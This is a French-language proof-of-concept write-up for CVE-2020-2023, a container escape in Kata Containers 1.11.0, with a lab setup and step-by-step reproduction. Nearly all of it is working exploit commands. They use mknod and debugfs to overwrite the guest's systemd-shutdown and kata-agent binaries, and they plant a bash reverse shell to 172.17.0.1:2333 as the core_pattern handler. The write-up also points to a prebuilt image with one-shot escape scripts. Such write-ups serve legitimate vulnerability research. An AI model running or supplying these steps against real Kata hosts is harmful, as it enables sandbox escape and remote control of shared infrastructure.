kata-cve-2020-2023-poc

1. Environnement de reproduction

Remarque : L'environnement doit supporter KVM

https://github.com/ssst0n3/docker_archive/tree/branch_ubuntu-20.04_docker-ce-19.03.11_containerd.io-1.4.9_kata-1.11.0

$ git clone https://github.com/ssst0n3/docker_archive.git
$ cd docker_archive
$ git checkout branch_ubuntu-20.04_docker-ce-19.03.11_containerd.io-1.4.9_kata-1.11.0
$ docker compose -f docker-compose.yml up -d
# // wait for vm start, or use docker logs -f <CONTAINERID> to watch the starting progress.
$ ssh -p 2222 [email protected]
[email protected]'s password: root
root@ubuntu:~# docker run --rm -ti --runtime kata-runtime ubuntu
root@17d02623cea7:/#

2. Reproduction

2.1 mknod pour modifier le système de fichiers invité

root@ubuntu:~# docker run -ti --runtime kata-runtime ubuntu
root@a2a6f9a36c1b:/# lsblk
NAME      MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
pmem0     259:0    0  126M  0 disk
`-pmem0p1 259:1    0  124M  0 part
root@a2a6f9a36c1b:/# mknod /dev/guest_hd b 259 1
root@a2a6f9a36c1b:/# debugfs -w /dev/guest_hd -R "ls -l /usr/bin" |grep kata
debugfs 1.46.5 (30-Dec-2021)
   1569  100755 (1)      0      0   26607184  8-May-2020 18:29 kata-agent
root@a2a6f9a36c1b:/# echo overwrite_guest > proof
root@a2a6f9a36c1b:/# debugfs -w /dev/guest_hd -R "write /proof /proof"
debugfs 1.46.5 (30-Dec-2021)
Allocated inode: 1317
root@a2a6f9a36c1b:/# debugfs -w /dev/guest_hd -R "cat /proof"
debugfs 1.46.5 (30-Dec-2021)
overwrite_guest

2.2 Évasion ctr vers l'invité

J'ai construit une image ssst0n3/kata-cve-2020-2023-poc pour exploiter en un seul script.

root@ubuntu:~# docker run -ti --runtime kata-runtime ssst0n3/kata-cve-2020-2023-poc:v0.2.1
root@a9917a24ff3e:~# ./ssst0n3-core-pattern-escape-to-guest.sh
or
root@a9917a24ff3e:~# ./yuvalavra-overwrite-systemd-shutdown-escape-to-guest.sh

Voici les étapes manuelles :

2.2.1 Méthode de yuvalavra : mknod et écrasement de systemd-shutdown

1. mknod pour créer le système de fichiers invité
2. supprimer le binaire umount, pour éviter que les systèmes de fichiers soient démontés lors de l'exécution de systemd shutdown
3. remplacer systemd-shutdown par un malveillant
4. remplacer kata-agent par des déchets. Si l'environnement supporte DAX, nous avons seulement besoin d'écrire quelques données pour déclencher la mise à jour de l'exécution du code de kata-agent. D'après mes tests, nous devons écrire au maximum 0xc40001 données. Si l'environnement ne supporte pas DAX, nous pouvons épuiser la mémoire pour libérer le PAGE CACHE.

root@ubuntu:~# docker run -ti --runtime kata-runtime ubuntu
root@3b597a4b67cf:/# apt update && apt install -y gcc
root@3b597a4b67cf:/# cat > proof.c << EOF
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

int main() {
    const char *filepath = "/run/kata-containers/shared/containers/guest_is_now_malicious";
    int fd;

    fd = open(filepath, O_CREAT | O_WRONLY, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
    close(fd);
    return 0;
}
EOF
root@3b597a4b67cf:/# gcc -static -o proof proof.c
root@3b597a4b67cf:/# chmod +x proof

root@3b597a4b67cf:/# lsblk
NAME      MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
pmem0     259:0    0  126M  0 disk
`-pmem0p1 259:1    0  124M  0 part
root@3b597a4b67cf:/# mknod /dev/guest_hd b 259 1
root@3b597a4b67cf:/# debugfs -w /dev/guest_hd -R "rm /usr/bin/systemd-umount"
root@3b597a4b67cf:/# debugfs -w /dev/guest_hd -R "rm /usr/bin/umount"
root@3b597a4b67cf:/# debugfs -w /dev/guest_hd -R "rm /usr/lib/systemd/systemd-shutdown"
root@3b597a4b67cf:/# debugfs -w /dev/guest_hd -R "write /proof /usr/lib/systemd/systemd-shutdown"
root@3b597a4b67cf:/# head -c $((0xc4001)) < /dev/urandom > /garbage
root@3b597a4b67cf:/# chmod +x /garbage
root@3b597a4b67cf:/# debugfs -w /dev/guest_hd -R "rm /usr/bin/kata-agent"
root@3b597a4b67cf:/# debugfs -w /dev/guest_hd -R "write /garbage /usr/bin/kata-agent"

root@ubuntu:~# ls -lah /run/kata-containers/shared/sandboxes/3b597a4b67cf4747914985fdfdd6f0712c333543fe0bdcc65e8124573297d767/
total 12K
drwxr-x--- 3 root root 140 May  8 12:22 .
drwxr-x--- 3 root root  60 May  8 12:21 ..
drwxr-xr-x 3 root root  60 May  8 12:21 3b597a4b67cf4747914985fdfdd6f0712c333543fe0bdcc65e8124573297d767
-rw-r--r-- 1 root root  13 May  8 12:21 3b597a4b67cf4747914985fdfdd6f0712c333543fe0bdcc65e8124573297d767-369b9e66b099c8b0-hostname
-rw-r--r-- 1 root root 585 May  8 12:21 3b597a4b67cf4747914985fdfdd6f0712c333543fe0bdcc65e8124573297d767-68d270ffaf02ee23-resolv.conf
-rw-r--r-- 1 root root 174 May  8 12:21 3b597a4b67cf4747914985fdfdd6f0712c333543fe0bdcc65e8124573297d767-aa1d0b23d32fbffd-hosts
-rw-r--r-- 1 root root   0 May  8 12:22 guest_is_now_malicious

2.2.2 Méthode de ssst0n3 : mknod et écrasement de core_pattern

1. écraser le binaire core_pattern pour qu'il soit un shell inversé
2. déclencher SIGSEGV

root@ubuntu:~# docker run -ti --runtime kata-runtime ubuntu
root@3b597a4b67cf:/# cat > reverse_shell << EOF
#!/usr/bin/bash
bash -i >& /dev/tcp/172.17.0.1/2333 0>&1
EOF
root@3b597a4b67cf:/# chmod +x reverse_shell
root@3b597a4b67cf:/# cat /proc/sys/kernel/core_pattern
|/usr/lib/systemd/coredump-wrapper %E %P %u %g %s %t %c %h %e

root@3b597a4b67cf:/# lsblk
NAME      MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
pmem0     259:0    0  126M  0 disk
`-pmem0p1 259:1    0  124M  0 part
root@3b597a4b67cf:/# mknod /dev/guest_hd b 259 1
root@3b597a4b67cf:/# debugfs -w /dev/guest_hd -R "rm /usr/lib/systemd/coredump-wrapper"
root@3b597a4b67cf:/# debugfs -w /dev/guest_hd -R "write /reverse_shell /usr/lib/systemd/coredump-wrapper"
root@3b597a4b67cf:/# sh -c 'kill -11 $$' &